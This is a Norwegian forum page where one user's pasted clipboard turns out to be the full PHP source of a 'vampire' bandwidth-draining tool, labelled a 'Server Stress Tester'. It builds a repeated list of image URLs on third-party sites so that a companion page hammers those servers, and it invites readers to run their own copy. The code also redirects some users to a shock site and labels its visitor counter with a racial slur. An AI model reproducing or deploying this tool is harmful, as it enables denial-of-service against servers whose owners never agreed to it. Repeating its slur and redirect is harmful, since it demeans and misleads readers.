Gå til innhold

Hva skjuler det seg bak din Ctrl+v?


Anbefalte innlegg

<?php

/*

* Created 2006-12-29

* If you change anything, add a note below.

* Updated 2008-01-20

* Multiplier added, fixed broken image, updated to generic, rather than Hal-Specific, Raep.

* Because Hal's gone :)

*/

$HTML = file_get_contents('vampire.html');

 

/* Get cached imagesizes from imagesize.cache */

$imagesizes = array();

if (file_exists('imagesize.cache')) {

/* Delete imagesize cache if older than 2 hours */

if (time() - filemtime('imagesize.cache') > 3600) {

unlink('imagesize.cache');

}

else {

$lines = @file('imagesize.cache');

if ($lines !== false) {

foreach($lines as $line) {

list($hash, $size) = explode(":", trim($line));

$imagesizes[$hash] = $size;

}

}

}

}

 

if (isset($_REQUEST['getsource']) && $_REQUEST['getsource']) {

highlight_file(__FILE__);

}

elseif (!isset($_REQUEST['images'])) {

?>

<html><head><title>Ebaum's World Server Stress Tester</title></head>

<body bgcolor="#660000" text="#CCCCCC">

<h1>Ebaum's World Server Stress Tester</h1>

<p>Write a list of images you want on your vampire page in the box below. One image per line. Full url required (including http://).</p>

<form method="post" action="<?php echo basename(__FILE__); ?>">

<textarea rows="20" cols="70" name="images"></textarea><br />

Multiplier: <input type="text" name="multiplier" value="2" size="5"><br />

<input type="submit" value="send">

<input type="checkbox" name="sendfile"> Tick this box and the file will be downloaded for future safe-keeping.

</form>

<p>

To run your own raep site, get these two files:

<a href="vampire.html">vampire.html</a> and

<a href="index.php?getsource=yes">index.php</a>, place them in a dir on your

server with PHP support, and you're set

<p>

<?php

if (file_exists('vampiresserved.txt')) {

echo "<p>Nigras served: ".file_get_contents('vampiresserved.txt')."</p>";

}

echo "</body></html>";

}

else {

$javascript = "";

$multiplier = $_REQUEST['multiplier'];

$imagelistrequest = $_REQUEST['images'];

$imageoperand = $imagelistrequest;

for($multcount=0;$multcount<$multiplier;$multcount++)

{

$imagelistrequest.="\n";

$imagelistrequest.=$imageoperand;

}

 

foreach(explode("\n", $imagelistrequest) as $line) {

set_time_limit(30);

$image = trim($line);

$info = parse_url($image);

if ($info === fase || !isset($info['host']) || !isset($info['path'])) {

continue;

}

if (strpos($info['host'], '7chan') !== false ||strpos($info['host'], '66.90.109.4') !== false) {

header("Location: http://nazi.jerk.on.nimp.org/");

}

if (!isset($imagesizes[md5($image)])) {

/* Image size is not in the cache, perform HTML HEAD request */

$response = html_head($info['host'], $info['path'], isset($info['port']) ? $info['port'] : 80);

if ($response !== false && isset($response['content-length'])) {

$size = $response['content-length'];

$imagesizes[md5($image)] = $size;

}

}

else {

/* Image size is in the cache */

$response = array('200');

$size = $imagesizes[md5($image)];

}

if ($response !== false && strpos($response[0], '200') !== false) {

$javascript .= sprintf("\t".'["%s", "%d", "%s%s", "%d"], '."\n", $info['host'].(isset($info['port']) ? ':'.$info['port'] : ''), 20, $info['path'], isset($info['query']) ? $info['query'] : '', $size);

}

}

if (isset($_REQUEST['sendfile']) && $_REQUEST['sendfile'] == "on") {

header("Content-disposition: attachment; filename=vampire.html");

}

if (file_exists('vampiresserved.txt')) {

$served = file_get_contents('vampiresserved.txt');

}

else {

$served = 0;

}

$fp = fopen('vampiresserved.txt', 'w');

if ($fp !== false) {

fwrite($fp, $served + 1);

fclose($fp);

}

print(str_replace("[[javascript]]", $javascript, $HTML));

}

 

/* Save image size cache */

$fp = @fopen('imagesize.cache', 'w');

if ($fp !== false) {

foreach($imagesizes as $hash => $size) {

fwrite($fp, sprintf("%s:%d\n", $hash, $size));

}

fclose($fp);

}

 

function html_head($server, $path, $port = 80, $referrer = false, $ua = false) {

$response="";

$ip = @gethostbyname($server);

$fp = @fsockopen($ip, $port, $errno, $errstr, 30);

if (!$fp) {

echo "($errstr) ";

return false;

}

else {

fputs($fp, "HEAD $path HTTP/1.1\r\n");

fputs($fp, "Host: $server\r\n");

if ($referrer !== false) { fputs($fp, "Referer: $referrer\r\n"); }

if ($ua !== false) { fputs($fp, "User-Agent: $ua\r\n"); }

fputs($fp, "Connection: close\r\n");

fputs($fp, "\r\n");

 

while (!feof($fp)) {

$response .= fread($fp,128);

}

}

fclose ($fp);

$temp = explode("\r\n", trim($response));

foreach($temp as $header) {

$field = substr($header, 0, strpos($header, ": "));

$value = substr($header, strpos($header, ": ")+2);

if($field=="") { $field = 0; $value = "HT".$value; }

$headers[strtolower($field)] = $value;

}

return $headers;

}

?>

Lenke til kommentar
Videoannonse
Annonse

Opprett en konto eller logg inn for å kommentere

Du må være et medlem for å kunne skrive en kommentar

Opprett konto

Det er enkelt å melde seg inn for å starte en ny konto!

Start en konto

Logg inn

Har du allerede en konto? Logg inn her.

Logg inn nå
×
×
  • Opprett ny...